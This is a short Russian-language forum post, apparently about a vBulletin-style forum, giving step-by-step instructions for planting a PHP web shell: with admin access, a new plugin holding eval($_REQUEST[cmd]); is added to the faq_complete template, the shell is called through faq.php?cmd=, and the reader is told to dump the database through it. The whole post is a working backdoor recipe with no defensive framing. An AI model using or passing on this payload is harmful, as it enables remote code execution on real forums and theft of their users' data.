вот что можно было сделать но Закрыли
В админке: Plugins & Products -> Plugin Manager -> [Add New Plugin]
вписываем eval($_REQUEST[cmd]); в любой темплейт, например в faq_complete, Plugin is Active выставляем "Yes" и сохраняем
шелл будет тут:
Код:
http://localhost/forum/faq.php?cmd=phpinfo();
И через шелл сделай дамп